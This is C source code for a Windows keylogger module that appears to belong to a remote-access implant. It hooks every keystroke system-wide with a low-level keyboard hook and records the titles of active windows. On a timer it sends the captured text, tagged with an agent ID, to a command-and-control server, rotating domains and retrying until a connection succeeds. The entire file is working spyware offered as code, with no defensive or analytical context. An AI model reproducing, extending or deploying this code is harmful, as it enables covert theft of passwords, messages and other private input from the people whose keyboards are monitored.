#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "config.h"
#include "log.h"

#define BUFFER_SIZE 4096

HHOOK hHook = NULL;
volatile int stopKeylogger = 0;
char keystrokeBuffer[BUFFER_SIZE] = "";
CRITICAL_SECTION bufferLock;

void AppendToBuffer(const char* data) {
    EnterCriticalSection(&bufferLock);
    if (strlen(keystrokeBuffer) + strlen(data) < BUFFER_SIZE) {
        strcat(keystrokeBuffer, data);
    }
    LeaveCriticalSection(&bufferLock);
}

void LogActiveWindowTitle(void) {
    HWND hwnd = GetForegroundWindow();
    if (hwnd) {
        char windowTitle[256] = "";
        static char lastWindowTitle[256] = "";
        if (GetWindowText(hwnd, windowTitle, sizeof(windowTitle))) {
            if (strcmp(lastWindowTitle, windowTitle) != 0) {
                strcpy(lastWindowTitle, windowTitle);
                char titleEntry[300];
                snprintf(titleEntry, sizeof(titleEntry), "\n[%s]\n", windowTitle);
                AppendToBuffer(titleEntry);
            }
        }
    }
}

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode < 0) {
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }

    BYTE boardstate[256] = {0};
    WORD cbuff[2] = {0};
    KBDLLHOOKSTRUCT* key = (KBDLLHOOKSTRUCT*)lParam;

    LogActiveWindowTitle();

    char keyEntry[32] = "";
    if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
        switch (key->vkCode) {
            case 0x08: strcpy(keyEntry, "[Bckspc]"); break;
            case 0x09: strcpy(keyEntry, "[Tab]"); break;
            case 0x0D: strcpy(keyEntry, "[Rtrn]"); break;
            case 0x20: strcpy(keyEntry, "[Spc]"); break;
            case 0x1B: strcpy(keyEntry, "[Esc]"); break;
            case 0x12:
            case 0xA4: strcpy(keyEntry, "[Alt]"); break;
            case 0x2E: strcpy(keyEntry, "[Del]"); break;
            case 0xA0:
            case 0xA1: strcpy(keyEntry, "[Shft]"); break;
            case 0xA2:
            case 0xA3: strcpy(keyEntry, "[Ctrl]"); break;
            case 0x5B:
            case 0x5C: strcpy(keyEntry, "[Win]"); break;
            case 0x25: strcpy(keyEntry, "[Left]"); break;
            case 0x26: strcpy(keyEntry, "[Up]"); break;
            case 0x27: strcpy(keyEntry, "[Right]"); break;
            case 0x28: strcpy(keyEntry, "[Down]"); break;
            default:
                if (GetKeyboardState(boardstate)) {
                    if (ToAscii((UINT)key->vkCode, (UINT)key->scanCode, boardstate, cbuff, 0) == 1) {
                        snprintf(keyEntry, sizeof(keyEntry), "%c", (char)cbuff[0]);
                    }
                }
                break;
        }
    }
    if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
        switch (key->vkCode) {
            case 0x12:
            case 0xA4: strcpy(keyEntry, "[/Alt]"); break;
            case 0xA0:
            case 0xA1: strcpy(keyEntry, "[/Shft]"); break;
            case 0xA2:
            case 0xA3: strcpy(keyEntry, "[/Ctrl]"); break;
            default: break;
        }
    }
    AppendToBuffer(keyEntry);
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

void RetrieveKeystrokeBuffer(char* outputBuffer, size_t bufferSize) {
    EnterCriticalSection(&bufferLock);
    strncpy(outputBuffer, keystrokeBuffer, bufferSize - 1);
    outputBuffer[bufferSize - 1] = '\0';
    memset(keystrokeBuffer, 0, sizeof(keystrokeBuffer));
    LeaveCriticalSection(&bufferLock);
}

void SendKeystrokesToServer(void) {
    char buffer[BUFFER_SIZE] = {0};
    RetrieveKeystrokeBuffer(buffer, sizeof(buffer));

    if (strlen(buffer) > 0) {
        LOG("\n[KEYLOGGER] Captured keystrokes\n");
        Transport* transport = NULL;
        while (!stopKeylogger && !transport) {
            transport = InitTransport(GetNextDomain(), server_port);
            if (!transport) {
                LOG_ERROR("[KEYLOGGER] Failed to connect. Retrying...\n");
                Sleep(keylog_delay);
            }
        }
        if (transport && !stopKeylogger) {
            char keyStrokeMessage[BUFFER_SIZE];
            snprintf(keyStrokeMessage, sizeof(keyStrokeMessage), "%s~KEYLOGGER~%s", agent_id, buffer);
            if (transport->send(transport->handle, keyStrokeMessage, strlen(keyStrokeMessage)) <= 0) {
                LOG_ERROR("[KEYLOGGER] Error sending keystrokes\n");
            } else {
                LOG("\n[KEYLOGGER] Keystrokes sent to server\n");
            }
            CleanupTransport(transport);
        }
    } else {
        LOG("\n[KEYLOGGER] No new keystrokes captured\n");
    }
}

DWORD WINAPI StartKeylogger(void) {
    stopKeylogger = 0;
    InitializeCriticalSection(&bufferLock);

    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
    if (hHook == NULL) {
        LOG("[KEYLOGGER] Failed to set keyboard hook.\n");
        return 1;
    }

    LOG("[KEYLOGGER] Keylogger started.\n");
    MSG msg;
    while (!stopKeylogger) {
        if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        Sleep(10);
    }
    UnhookWindowsHookEx(hHook);
    LOG("[KEYLOGGER] Keylogger stopped (inside)\n");
    return 0;
}

DWORD WINAPI StartKeylogTimer(LPVOID lpParam) {
    LOG("\n[KEYLOGGER] Keylog timer started\n");
    int elapsedTime = 0;
    const int checkInterval = 200; // Check every 200ms
    
    while (!stopKeylogger) {
        Sleep(checkInterval);
        elapsedTime += checkInterval;
        
        if (elapsedTime >= keylog_delay || stopKeylogger) {
            SendKeystrokesToServer();
            elapsedTime = 0;
        }
    }
    
    LOG("[KEYLOGGER] Keylog timer stopped.\n");
    return 0;
}

void StopKeylogger(char* result) {
    if (hKeylogThread || hKeylogTimerThread) {
        LOG("\n[KEYLOGGER] Stopping keylogger...\n");
        stopKeylogger = 1;
        if (hKeylogThread) {
            WaitForSingleObject(hKeylogThread, INFINITE);
            CloseHandle(hKeylogThread);
            hKeylogThread = NULL;
        }
        if (hKeylogTimerThread) {
            WaitForSingleObject(hKeylogTimerThread, INFINITE);
            CloseHandle(hKeylogTimerThread);
            hKeylogTimerThread = NULL;
        }
        DeleteCriticalSection(&bufferLock);
        LOG("\n[KEYLOGGER] Keylogger stopped (outside)\n");
        sprintf(result, "Keylogger stopped\n");

    }
}